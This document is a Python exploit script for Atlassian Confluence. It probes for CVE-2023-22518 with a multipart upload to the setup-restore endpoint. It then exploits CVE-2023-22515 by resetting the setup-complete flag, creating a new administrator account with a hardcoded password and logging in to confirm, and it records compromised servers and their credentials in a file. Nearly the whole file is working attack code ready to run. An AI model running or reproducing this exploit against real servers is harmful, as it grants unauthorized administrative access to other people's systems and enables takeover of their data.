#! /usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: David Espejo (Fortytwo Security)

import json
import argparse
import requests
from rich import print
from alive_progress import alive_bar

HEADERS = {
    "X-Atlassian-Token": "no-check",
    "User-Agent": "Mozilla/5.0 (Linux; U; Android 9; es-es; Redmi 7 Build/PKQ1.181021.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/71.0.3578.141 Mobile Safari/537.36 XiaoMi/MiuiBrowser/11.6.3-g"
}

requests.packages.urllib3.disable_warnings()

class Confluence:
    def __init__(self, base_url, verbose=False, output_file=None):
        self.base_url = base_url
        self.verbose = verbose
        self.username = "pleasepatch"
        self.password = "Password2"
        self.output_file = output_file

    def send_request(self, method, url, auth=None, data=None):
        try:
            response = requests.request(method, url, headers=HEADERS, verify=False, timeout=3, auth=auth, data=data)
            return response.status_code, response.text
        except requests.exceptions.RequestException as e:
            if self.verbose:
                print(f"[[bold red]ERROR[/bold red]] Request error for {url}: {str(e)}")
            return None, None

    def check_authentication(self):
        """Check authentication and retrieve user details."""
        auth = (self.username, self.password)
        url = f"{self.base_url}/rest/api/user?username={self.username}"
        status, response = self.send_request("GET", url, auth=auth)
        
        if status == 200:
            try:
                user_info = json.loads(response.strip())
                formatted_user_info = json.dumps(user_info, indent=2)
                if self.verbose:
                    print(f"[INFO] Username: {self.username}")
                    print(f"[INFO] Password: {self.password}")
            except json.JSONDecodeError:
                return False
            
            return True
        else:
            if self.verbose:
                print(f"[-] Authentication failed on REST API")
            
            return False

    def exploit(self):
        success_message = None

        if not self.trigger_vulnerability():
            error_message = f"[-] Failed to trigger vulnerability for {self.base_url}"
        elif not self.create_admin_account():
            error_message = f"[-] Failed to create a new administrator for {self.base_url}"
        elif self.check_authentication():
            success_message = f"[+] Successfully exploited {self.base_url} and logged in as admin!"
        else:
            error_message = f"[-] Failed to authenticate with created admin account at {self.base_url}"

        if success_message:
            if not self.verbose:
                print(success_message)
            return success_message
        else:
            return error_message

    def trigger_vulnerability(self):
        status, _ = self.send_request("GET", f"{self.base_url}/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false")
        return status == 200

    def create_admin_account(self):
        data = {
            "username": self.username,
            "fullName": self.username,
            "email": f"{self.username}@localhost",
            "password": self.password,
            "confirm": self.password,
            "setup-next-button": "Next"
        }

        status, response = self.send_request("POST", f"{self.base_url}/setup/setupadministrator.action", data=data)

        if status == 200:
            if "Setup Successful" in response:
                if self.verbose:
                    print("[+] Created new administrator successfully")
                self.save_to_output_file()

            elif "A user with this username already exists" in response:
                if self.verbose:
                    print("[!] Administrator with this username already exists")
                self.save_to_output_file()

            else:
                if self.verbose:
                    print(f"[-] Failed to create a new administrator for {self.base_url}")

        return status == 200

    def save_to_output_file(self):
        if self.output_file:
            with open(self.output_file, 'a') as file:
                file.write(f"Vulnerable server: {self.base_url} | Username: {self.username} | Password: {self.password}\n")

def check_cve_2023_22518(url):
    headers = {
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7',
        'X-Atlassian-Token': 'no-check',
    }

    data = """------WebKitFormBoundaryT3yekvo0rGaL9QR7
Content-Disposition: form-data; name="buildIndex"

false
------WebKitFormBoundaryT3yekvo0rGaL9QR7
Content-Disposition: form-data; name="file";filename="test-restore.zip"

ZIP_DATA
------WebKitFormBoundaryT3yekvo0rGaL9QR7
Content-Disposition: form-data; name="edit"

Upload and import
------WebKitFormBoundaryT3yekvo0rGaL9QR7--"""

    response = requests.post(f'{url}/json/setup-restore.action?synchronous=true', headers=headers, data=data)
    print(f"[blue]CVE-2023-22518 Check:[/blue]")
    print(f"[green]Status Code: {response.status_code}[/green]")
    if response.status_code == 405:
        print(f"[red]{url} might be vulnerable to CVE-2023-22518[/red]")
    else:
        print(f"[green]{url} is not vulnerable to CVE-2023-22518[/green]")

    return response.status_code

def exploit_target(url, verbose=False, output_file=None):
    return Confluence(url, verbose=verbose, output_file=output_file).exploit()

def summarize_findings(url, cve_2023_22518_status_code, exploitation_result):
    print(f"[blue]Summary for {url}:[/blue]")
    if cve_2023_22518_status_code == 405:
        print(f"[red]{url} might be vulnerable to CVE-2023-22518[/red]")
    else:
        print(f"[green]{url} is not vulnerable to CVE-2023-22518[/green]")

    if "Successfully exploited" in exploitation_result:
        print(f"[red]{url} is vulnerable to CVE-2023-22515[/red]")
    else:
        print(f"[green]{url} is not vulnerable to CVE-2023-22515[/green]")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Check for CVE-2023-22518 and exploit CVE-2023-22515 vulnerabilities')
    parser.add_argument('-i', '--instance-url', help='URL of the Confluence instance')
    parser.add_argument('-o', '--output-file', help='File to save vulnerable servers')
    args = parser.parse_args()

    if args.instance_url:
        cve_2023_22518_status_code = check_cve_2023_22518(args.instance_url)
        exploitation_result = exploit_target(args.instance_url, verbose=True, output_file=args.output_file)
        summarize_findings(args.instance_url, cve_2023_22518_status_code, exploitation_result)
    else:
        print("[bold red]Please provide a single instance URL.[/bold red]")
